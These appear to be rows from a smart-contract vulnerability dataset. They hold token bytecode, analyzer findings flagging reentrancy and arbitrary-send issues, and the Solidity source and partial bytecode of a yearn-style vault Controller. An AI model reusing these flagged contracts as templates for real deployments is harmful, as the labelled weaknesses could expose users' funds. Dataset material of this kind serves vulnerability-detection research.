15611c6e57611c086064611bfa600b54611bec601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b811115611c6457611c616064611c53600b54611c45601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610913565b61221490919063ffffffff16565b6122ed90919063ffffffff16565b90505b611c6d81611f1a565b5b60004790506000811115611c8657611c8547611db1565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611d315750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611d3b57600090505b611d47848484846123ee565b50505050565b6000838311158290611d95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d8c91906130da565b60405180910390fd5b5060008385611da49190613482565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e016002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611e2c573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611e7d6002846122ed90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ea8573d6000803e3d6000fd5b5050565b6000600754821115611ef3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eea9061311c565b60405180910390fd5b6000611efd61241b565b9050611f1281846122ed90919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611f78577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611fa65781602001602082028036833780820191505090505b5090503081600081518110611fe4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561208657600080fd5b505afa15801561209a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120be9190612b44565b816001815181106120f8577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061215f30601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b8565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016121c39594939291906132d7565b600060405180830381600087803b1580156121dd57600080fd5b505af11580156121f1573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b6000808314156122275760009050612289565b600082846122359190613428565b905082848261224491906133f7565b14612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b906131dc565b60405180910390fd5b809150505b92915050565b600080828461229e91906133a1565b9050838110156122e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122da9061317c565b60405180910390fd5b8091505092915050565b600061232f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612446565b905092915050565b6000600a9050600a82101561234f57600a9050612366565b60288211156123615760289050612365565b8190505b5b600061237c6002836124a990919063ffffffff16565b1461239057808061238c90613550565b9150505b6123b7600a6123a960048461221490919063ffffffff16565b6122ed90919063ffffffff16565b6009819055506123e4600a6123d660068461221490919063ffffffff16565b6122ed90919063ffffffff16565b600a819055505050565b806123fc576123fb6124f3565b5b612407848484612536565b8061241557612414612701565b5b50505050565b6000806000612428612715565b9150915061243f81836122ed90919063ffffffff16565b9250505090565b6000808311829061248d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161248491906130da565b60405180910390fd5b506000838561249c91906133f7565b9050809150509392505050565b60006124eb83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f0000000000000000815250612777565b905092915050565b600060095414801561250757506000600a54145b1561251157612534565b600954600e81905550600a54600f8190555060006009819055506000600a819055505b565b600080600080600080612548876127d5565b9550955095509550955095506125a686600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461283d90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061263b85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061268781612887565b6126918483612944565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516126ee91906132bc565b60405180910390a3505050505050505050565b600e54600981905550600f54600a81905550565b600080600060075490506000683635c9adc5dea00000905061274b683635c9adc5dea000006007546122ed90919063ffffffff16565b82101561276a57600754683635c9adc5dea00000935093505050612773565b81819350935050505b9091565b60008083141582906127bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127b691906130da565b60405180910390fd5b5082846127cc9190613599565b90509392505050565b60008060008060008060008060006127f28a600954600a5461297e565b925092509250600061280261241b565b905060008060006128158e878787612a14565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061287f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d4d565b905092915050565b600061289161241b565b905060006128a8828461221490919063ffffffff16565b90506128fc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461228f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6129598260075461283d90919063ffffffff16565b6007819055506129748160085461228f90919063ffffffff16565b6008819055505050565b6000806000806129aa606461299c888a61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129d460646129c6888b61221490919063ffffffff16565b6122ed90919063ffffffff16565b905060006129fd826129ef858c61283d90919063ffffffff16565b61283d90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612a2d858961221490919063ffffffff16565b90506000612a44868961221490919063ffffffff16565b90506000612a5b878961221490919063ffffffff16565b90506000612a8482612a76858761283d90919063ffffffff16565b61283d90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612aac816139cd565b92915050565b600081519050612ac1816139cd565b92915050565b600081359050612ad6816139e4565b92915050565b600081519050612aeb816139e4565b92915050565b600081359050612b00816139fb565b92915050565b600081519050612b15816139fb565b92915050565b600060208284031215612b2d57600080fd5b6000612b3b84828501612a9d565b91505092915050565b600060208284031215612b5657600080fd5b6000612b6484828501612ab2565b91505092915050565b60008060408385031215612b8057600080fd5b6000612b8e85828601612a9d565b9250506020612b9f85828601612a9d565b9150509250929050565b600080600060608486031215612bbe57600080fd5b6000612bcc86828701612a9d565b9350506020612bdd86828701612a9d565b9250506040612bee86828701612af1565b9150509250925092565b60008060408385031215612c0b57600080fd5b6000612c1985828601612a9d565b9250506020612c2a85828601612af1565b9150509250929050565b600060208284031215612c4657600080fd5b6000612c5484828501612ac7565b91505092915050565b600060208284031215612c6f57600080fd5b6000612c7d84828501612adc565b91505092915050565b600060208284031215612c9857600080fd5b6000612ca684828501612af1565b91505092915050565b600080600060608486031215612cc457600080fd5b6000612cd286828701612b06565b9350506020612ce386828701612b06565b9250506040612cf486828701612b06565b9150509250925092565b6000612d0a8383612d16565b60208301905092915050565b612d1f816134b6565b82525050565b612d2e816134b6565b82525050565b6000612d3f8261335c565b612d49818561337f565b9350612d548361334c565b8060005b83811015612d85578151612d6c8882612cfe565b9750612d7783613372565b925050600181019050612d58565b5085935050505092915050565b612d9b816134c8565b82525050565b612daa8161350b565b82525050565b6000612dbb82613367565b612dc58185613390565b9350612dd581856020860161351d565b612dde81613628565b840191505092915050565b6000612df6602383613390565b9150612e0182613639565b604082019050919050565b6000612e19602a83613390565b9150612e2482613688565b604082019050919050565b6000612e3c602283613390565b9150612e47826136d7565b604082019050919050565b6000612e5f602283613390565b9150612e6a82613726565b604082019050919050565b6000612e82601b83613390565b9150612e8d82613775565b602082019050919050565b6000612ea5601583613390565b9150612eb08261379e565b602082019050919050565b6000612ec8602383613390565b9150612ed3826137c7565b604082019050919050565b6000612eeb602183613390565b9150612ef682613816565b604082019050919050565b6000612f0e602083613390565b9150612f1982613865565b602082019050919050565b6000612f31602983613390565b9150612f3c8261388e565b604082019050919050565b6000612f54602583613390565b9150612f5f826138dd565b604082019050919050565b6000612f77602483613390565b9150612f828261392c565b604082019050919050565b6000612f9a601783613390565b9150612fa58261397b565b602082019050919050565b6000612fbd601883613390565b9150612fc8826139a4565b602082019050919050565b612fdc816134f4565b82525050565b612feb816134fe565b82525050565b60006020820190506130066000830184612d25565b92915050565b60006040820190506130216000830185612d25565b61302e6020830184612d25565b9392505050565b600060408201905061304a6000830185612d25565b6130576020830184612fd3565b9392505050565b600060c0820190506130736000830189612d25565b6130806020830188612fd3565b61308d6040830187612da1565b61309a6060830186612da1565b6130a76080830185612d25565b6130b460a0830184612fd3565b979650505050505050565b60006020820190506130d46000830184612d92565b92915050565b600060208201905081810360008301526130f48184612db0565b905092915050565b6000602082019050818103600083015261311581612de9565b9050919050565b6000602082019050818103600083015261313581612e0c565b9050919050565b6000602082019050818103600083015261315581612e2f565b9050919050565b6000602082019050818103600083015261317581612e52565b9050919050565b6000602082019050818103600083015261319581612e75565b9050919050565b600060208201905081810360008301526131b581612e98565b9050919050565b600060208201905081810360008301526131d581612ebb565b9050919050565b600060208201905081810360008301526131f581612ede565b9050919050565b6000602082019050818103600083015261321581612f01565b9050919050565b6000602082019050818103600083015261323581612f24565b9050919050565b6000602082019050818103600083015261325581612f47565b9050919050565b6000602082019050818103600083015261327581612f6a565b9050919050565b6000602082019050818103600083015261329581612f8d565b9050919050565b600060208201905081810360008301526132b581612fb0565b9050919050565b60006020820190506132d16000830184612fd3565b92915050565b600060a0820190506132ec6000830188612fd3565b6132f96020830187612da1565b818103604083015261330b8186612d34565b905061331a6060830185612d25565b6133276080830184612fd3565b9695505050505050565b60006020820190506133466000830184612fe2565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006133ac826134f4565b91506133b7836134f4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156133ec576133eb6135ca565b5b828201905092915050565b6000613402826134f4565b915061340d836134f4565b92508261341d5761341c6135f9565b5b828204905092915050565b6000613433826134f4565b915061343e836134f4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613477576134766135ca565b5b828202905092915050565b600061348d826134f4565b9150613498836134f4565b9250828210156134ab576134aa6135ca565b5b828203905092915050565b60006134c1826134d4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000613516826134f4565b9050919050565b60005b8381101561353b578082015181840152602081019050613520565b8381111561354a576000848401525b50505050565b600061355b826134f4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561358e5761358d6135ca565b5b600182019050919050565b60006135a4826134f4565b91506135af836134f4565b9250826135bf576135be6135f9565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6139d6816134b6565b81146139e157600080fd5b50565b6139ed816134c8565b81146139f857600080fd5b50565b613a04816134f4565b8114613a0f57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dd84f787e74dbee7667f6efa543b231b2f3b4d819c4a9b6cb91aed2b559dae9f64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,746
0xcbcfbdc2ebcb7bab8633a35a9fd60101a6c5293b
pragma solidity ^0.5.16; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } function toPayable(address account) internal pure returns (address payable) { return address(uint160(account)); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-call-value (bool success, ) = recipient.call.value(amount)(""); require(success, "Address: unable to send value, recipient may have reverted"); } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface Strategy { function want() external view returns (address); function deposit() external; function withdraw(address) external; function withdraw(uint) external; function withdrawAll() external returns (uint); function balanceOf() external view returns (uint); } interface Converter { function convert(address) external returns (uint); } interface OneSplitAudit { function swap( address fromToken, address destToken, uint256 amount, uint256 minReturn, uint256[] calldata distribution, uint256 flags ) external payable returns(uint256 returnAmount); function getExpectedReturn( address fromToken, address destToken, uint256 amount, uint256 parts, uint256 flags // See constants in IOneSplit.sol ) external view returns( uint256 returnAmount, uint256[] memory distribution ); } contract Controller { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address public governance; address public strategist; address public onesplit; address public rewards; mapping(address => address) public vaults; mapping(address => address) public strategies; mapping(address => mapping(address => address)) public converters; mapping(address => mapping(address => bool)) public approvedStrategies; uint public split = 500; uint public constant max = 10000; constructor(address _rewards) public { governance = msg.sender; strategist = msg.sender; onesplit = address(0x50FDA034C0Ce7a8f7EFDAebDA7Aa7cA21CC1267e); rewards = _rewards; } function setRewards(address _rewards) public { require(msg.sender == governance, "!governance"); rewards = _rewards; } function setStrategist(address _strategist) public { require(msg.sender == governance, "!governance"); strategist = _strategist; } function setSplit(uint _split) public { require(msg.sender == governance, "!governance"); split = _split; } function setOneSplit(address _onesplit) public { require(msg.sender == governance, "!governance"); onesplit = _onesplit; } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function setVault(address _token, address _vault) public { require(msg.sender == strategist || msg.sender == governance, "!strategist"); require(vaults[_token] == address(0), "vault"); vaults[_token] = _vault; } function approveStrategy(address _token, address _strategy) public { require(msg.sender == governance, "!governance"); approvedStrategies[_token][_strategy] = true; } function revokeStrategy(address _token, address _strategy) public { require(msg.sender == governance, "!governance"); approvedStrategies[_token][_strategy] = false; } function setConverter(address _input, address _output, address _converter) public { require(msg.sender == strategist || msg.sender == governance, "!strategist"); converters[_input][_output] = _converter; } function setStrategy(address _token, address _strategy) public { require(msg.sender == strategist || msg.sender == governance, "!strategist"); require(approvedStrategies[_token][_strategy] == true, "!approved"); address _current = strategies[_token]; if (_current != address(0)) { Strategy(_current).withdrawAll(); } strategies[_token] = _strategy; } function earn(address _token, uint _amount) public { address _strategy = strategies[_token]; address _want = Strategy(_strategy).want(); if (_want != _token) { address converter = converters[_token][_want]; IERC20(_token).safeTransfer(converter, _amount); _amount = Converter(converter).convert(_strategy); IERC20(_want).safeTransfer(_strategy, _amount); } else { IERC20(_token).safeTransfer(_strategy, _amount); } Strategy(_strategy).deposit(); } function balanceOf(address _token) external view returns (uint) { return Strategy(strategies[_token]).balanceOf(); } function withdrawAll(address _token) public { require(msg.sender == strategist || msg.sender == governance, "!strategist"); Strategy(strategies[_token]).withdrawAll(); } function inCaseTokensGetStuck(address _token, uint _amount) public { require(msg.sender == strategist || msg.sender == governance, "!governance"); IERC20(_token).safeTransfer(msg.sender, _amount); } function inCaseStrategyTokenGetStuck(address _strategy, address _token) public { require(msg.sender == strategist || msg.sender == governance, "!governance"); Strategy(_strategy).withdraw(_token); } function getExpectedReturn(address _strategy, address _token, uint parts) public view returns (uint expected) { uint _balance = IERC20(_token).balanceOf(_strategy); address _want = Strategy(_strategy).want(); (expected,) = OneSplitAudit(onesplit).getExpectedReturn(_token, _want, _balance, parts, 0); } // Only allows to withdraw non-core strategy tokens ~ this is over and above normal yield function yearn(address _strategy, address _token, uint parts) public { require(msg.sender == strategist || msg.sender == governance, "!governance"); // This contract should never have value in it, but just incase since this is a public call uint _before = IERC20(_token).balanceOf(address(this)); Strategy(_strategy).withdraw(_token); uint _after = IERC20(_token).balanceOf(address(this)); if (_after > _before) { uint _amount = _after.sub(_before); address _want = Strategy(_strategy).want(); uint[] memory _distribution; uint _expected; _before = IERC20(_want).balanceOf(address(this)); IERC20(_token).safeApprove(onesplit, 0); IERC20(_token).safeApprove(onesplit, _amount); (_expected, _distribution) = OneSplitAudit(onesplit).getExpectedReturn(_token, _want, _amount, parts, 0); OneSplitAudit(onesplit).swap(_token, _want, _amount, _expected, _distribution, 0); _after = IERC20(_want).balanceOf(address(this)); if (_after > _before) { _amount = _after.sub(_before); uint _reward = _amount.mul(split).div(max); earn(_want, _amount.sub(_reward)); IERC20(_want).safeTransfer(rewards, _reward); } } } function withdraw(address _token, uint _amount) public { require(msg.sender == vaults[_token], "!vault"); Strategy(strategies[_token]).withdraw(_amount); } }
0x608060405234801561001057600080fd5b50600436106101c45760003560e01c8063a1578b6a116100f9578063ccd0631811610097578063f3fef3a311610071578063f3fef3a314610a87578063f712adbb14610ad5578063f765417614610b1f578063fa09e63014610b3d576101c4565b8063ccd063181461091b578063e4f2494d1461099f578063ec38a86214610a43576101c4565b8063b02bf4b9116100d3578063b02bf4b9146107d7578063c494448e14610825578063c6d758cb14610889578063c7b9d530146108d7576101c4565b8063a1578b6a14610693578063a622ee7c1461070f578063ab033ea914610793576101c4565b80636ac5db1911610166578063714ccf7b11610140578063714ccf7b1461053d57806372cb5d97146105a15780638da1df4d146106055780639ec5a89414610649576101c4565b80636ac5db19146104455780636dcd64e51461046357806370a08231146104e5576101c4565b806339ebf823116101a257806339ebf823146102e5578063590bbb60146103695780635aa6e675146103cd578063674e694f14610417576101c4565b806304209f48146101c9578063197baa6d146102375780631fe4a6861461029b575b600080fd5b610235600480360360608110156101df57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b81565b005b6102996004803603604081101561024d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611568565b005b6102a361171d565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610327600480360360208110156102fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611743565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103cb6004803603604081101561037f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611776565b005b6103d56118d1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104436004803603602081101561042d57600080fd5b81019080803590602001909291905050506118f6565b005b61044d6119c2565b6040518082815260200191505060405180910390f35b6104cf6004803603606081101561047957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119c8565b6040518082815260200191505060405180910390f35b610527600480360360208110156104fb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611ce3565b6040518082815260200191505060405180910390f35b61059f6004803603604081101561055357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611dcc565b005b610603600480360360408110156105b757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612069565b005b6106476004803603602081101561061b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612426565b005b61065161252c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106f5600480360360408110156106a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612552565b604051808215151515815260200191505060405180910390f35b6107516004803603602081101561072557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612581565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6107d5600480360360208110156107a957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506125b4565b005b610823600480360360408110156107ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506126b9565b005b6108876004803603604081101561083b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612a20565b005b6108d56004803603604081101561089f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612b7b565b005b610919600480360360208110156108ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612cc4565b005b61099d6004803603606081101561093157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612dca565b005b610a01600480360360408110156109b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612fa4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610a8560048036036020811015610a5957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612fe6565b005b610ad360048036036040811015610a9d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506130ec565b005b610add6132ba565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610b276132e0565b6040518082815260200191505060405180910390f35b610b7f60048036036020811015610b5357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506132e6565b005b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610c2957506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610c9b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610d1a57600080fd5b505afa158015610d2e573d6000803e3d6000fd5b505050506040513d6020811015610d4457600080fd5b810190808051906020019092919050505090508373ffffffffffffffffffffffffffffffffffffffff166351cff8d9846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b158015610dd657600080fd5b505af1158015610dea573d6000803e3d6000fd5b5050505060008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610e6d57600080fd5b505afa158015610e81573d6000803e3d6000fd5b505050506040513d6020811015610e9757600080fd5b8101908080519060200190929190505050905081811115611561576000610ec783836134e690919063ffffffff16565b905060008673ffffffffffffffffffffffffffffffffffffffff16631f1fcd516040518163ffffffff1660e01b815260040160206040518083038186803b158015610f1157600080fd5b505afa158015610f25573d6000803e3d6000fd5b505050506040513d6020811015610f3b57600080fd5b81019080805190602001909291905050509050606060008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610fcf57600080fd5b505afa158015610fe3573d6000803e3d6000fd5b505050506040513d6020811015610ff957600080fd5b8101908080519060200190929190505050955061105a600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660008a73ffffffffffffffffffffffffffffffffffffffff166135309092919063ffffffff16565b6110a7600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16858a73ffffffffffffffffffffffffffffffffffffffff166135309092919063ffffffff16565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663085e2c5b8985878b60006040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018281526020019550505050505060006040518083038186803b15801561119357600080fd5b505afa1580156111a7573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525060408110156111d157600080fd5b8101908080519060200190929190805160405193929190846401000000008211156111fb57600080fd5b8382019150602082018581111561121157600080fd5b825186602082028301116401000000008211171561122e57600080fd5b808352